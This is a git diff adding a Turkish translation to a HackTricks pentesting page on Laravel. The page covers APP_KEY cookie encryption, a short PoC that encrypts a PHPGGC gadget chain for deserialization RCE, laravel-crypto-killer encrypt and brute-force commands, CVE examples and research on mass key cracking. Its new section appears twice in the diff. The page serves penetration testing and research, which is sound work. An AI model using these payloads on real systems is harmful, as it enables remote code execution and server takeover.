Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

This commit is contained in:
Translator 2025-07-10 12:40:01 +00:00
parent 367d2fe11e
commit f306703086

View File

@ -1,5 +1,90 @@
# Laravel
{{#include /banners/hacktricks-training.md}}
### Laravel SQLInjection
Bu konuda bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Şifreleme iç yapıları (Laravel \u003e=5.6)
Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` varsayılan olarak metni `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` eder**. Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir**.
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route parametresi, çerez, oturum, ...) enjekte edin.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) tüm süreci otomatikleştirir ve kullanışlı bir **bruteforce** modu ekler:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## Gerçek dünya zayıf desenleri
| Proje | Zayıf nokta | Gadget zinciri |
|-------|-------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` çerezi | Laravel/RCE15 |
Sömürü iş akışı her zaman:
1. `APP_KEY` elde et (varsayılan örnekler, Git sızıntısı, config/.env sızıntısı veya brute-force)
2. **PHPGGC** ile gadget oluştur
3. `laravel_crypto_killer.py encrypt …`
4. Zayıf parametre/çerez aracılığıyla yükü ilet → **RCE**
---
## Çerez brute-force ile toplu APP_KEY keşfi
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığından, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırır** ki bunlar çevrimdışı olarak saldırıya uğrayabilir.
Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):
* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k)
* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı**
* >1 000 sunucu hala eski CVE-2018-15133'e karşı zayıf çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.
* Büyük anahtar yeniden kullanımı En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.
---
## Referanslar
* [Laravel: APP_KEY sızıntı analizi](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Genel Gadget Zincirleri](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 yazımı (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}
@ -12,17 +97,17 @@ Eğer Laravel **hata ayıklama modunda** ise **kod** ve **hassas verilere** eri
![](<../../images/image (1046).png>)
Bu genellikle diğer Laravel RCE CVE'lerini istismar etmek için gereklidir.
Bu genellikle diğer Laravel RCE CVE'lerini sömürmek için gereklidir.
### .env
Laravel, çerezleri ve diğer kimlik bilgilerini şifrelemek için kullandığı APP'yi `.env` adlı bir dosyada saklar ve bu dosyaya `/../.env` altında bazı yol geçişleri kullanarak erişilebilir.
Laravel, bu bilgiyi hata ayıklama sayfasında da gösterecektir (Laravel bir hata bulduğunda ve etkinleştirildiğinde görünür).
Laravel, bu bilgiyi hata bulunduğunda ve etkinleştirildiğinde hata ayıklama sayfasında da gösterecektir.
Laravel'in gizli APP_KEY'ini kullanarak çerezleri şifreleyebilir ve tekrar şifreleyebilirsiniz:
Laravel'in gizli APP_KEY'ini kullanarak çerezleri şifreleyebilir ve yeniden şifreleyebilirsiniz:
### Çerezi Şifre Çözme
### Çerezi Şifre Çöz
```python
import os
import json
@ -83,11 +168,11 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
```
### Laravel Deserialization RCE
Zayıf sürümler: 5.5.40 ve 5.6.x ile 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Hassas sürümler: 5.5.40 ve 5.6.x ile 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Deserialization zayıflığı hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Deserialization güvenlik açığı hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Bunu test edip istismar edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Bunu test edebilir ve istismar edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ya da metasploit ile de istismar edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@ -98,5 +183,87 @@ Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](http
Bunun hakkında bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
### Laravel SQLInjection
Bunun hakkında bilgi okuyun: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel, arka planda HMAC bütünlüğü ile AES-256-CBC (veya GCM) kullanır (`Illuminate\\Encryption\\Encrypter`).
Sonunda **müşteriye gönderilen** ham şifreli metin, **şu şekilde bir JSON nesnesinin Base64'üdür**:
```json
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` varsayılan olarak metni `serialize()` ederken, `decrypt($payload, $unserialize=true)` **şifrelenmiş değeri otomatik olarak `unserialize()` edecektir.** Bu nedenle **32 baytlık gizli `APP_KEY`'i bilen herhangi bir saldırgan, şifrelenmiş bir PHP serileştirilmiş nesne oluşturabilir ve sihirli yöntemler (`__wakeup`, `__destruct`, …) aracılığıyla RCE elde edebilir.**
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Üretilen dizeyi herhangi bir savunmasız `decrypt()` sink'ine (route parametresi, çerez, oturum, ...) enjekte edin.
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) tüm süreci otomatikleştirir ve kullanışlı bir **bruteforce** modu ekler:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparan bir şekilde hem CBC hem de GCM yüklerini destekler ve HMAC/tag alanını yeniden oluşturur.
---
## Gerçek dünya zayıf desenleri
| Proje | Zayıf nokta | Gadget zinciri |
|-------|-------------|----------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` çerezi `Passport::withCookieSerialization()` etkin olduğunda | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` çerezi | Laravel/RCE15 |
Sömürü iş akışı her zaman:
1. `APP_KEY` elde et (varsayılan örnekler, Git sızıntısı, config/.env sızıntısı veya brute-force)
2. **PHPGGC** ile gadget oluştur
3. `laravel_crypto_killer.py encrypt …`
4. Zayıf parametre/çerez aracılığıyla yükü ilet → **RCE**
---
## Çerez brute-force ile toplu APP_KEY keşfi
Her yeni Laravel yanıtı en az 1 şifreli çerez (`XSRF-TOKEN` ve genellikle `laravel_session`) ayarladığından, **kamusal internet tarayıcıları (Shodan, Censys, …) milyonlarca şifreli metin sızdırır** ve bunlar çevrimdışı olarak saldırıya uğrayabilir.
Synacktiv tarafından yayınlanan araştırmanın ana bulguları (2024-2025):
* Veri seti Temmuz 2024 » 580 k token, **%3.99 anahtar kırıldı** (≈23 k)
* Veri seti Mayıs 2025 » 625 k token, **%3.56 anahtar kırıldı**
* >1 000 sunucu hala eski CVE-2018-15133'e karşı savunmasız çünkü tokenlar doğrudan serileştirilmiş verileri içeriyor.
* Büyük anahtar yeniden kullanımı En iyi 10 APP_KEY, ticari Laravel şablonlarıyla birlikte gelen hard-coded varsayılanlardır (UltimatePOS, Invoice Ninja, XPanel, …).
Özel Go aracı **nounours**, AES-CBC/GCM brute-force verimliliğini ~1.5 milyar deneme/s'ye çıkararak, tam veri seti kırma süresini <2 dakikaya düşürüyor.
---
## Referanslar
* [Laravel: APP_KEY sızıntı analizi](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Genel Gadget Zincirleri](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 yazımı (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
{{#include ../../banners/hacktricks-training.md}}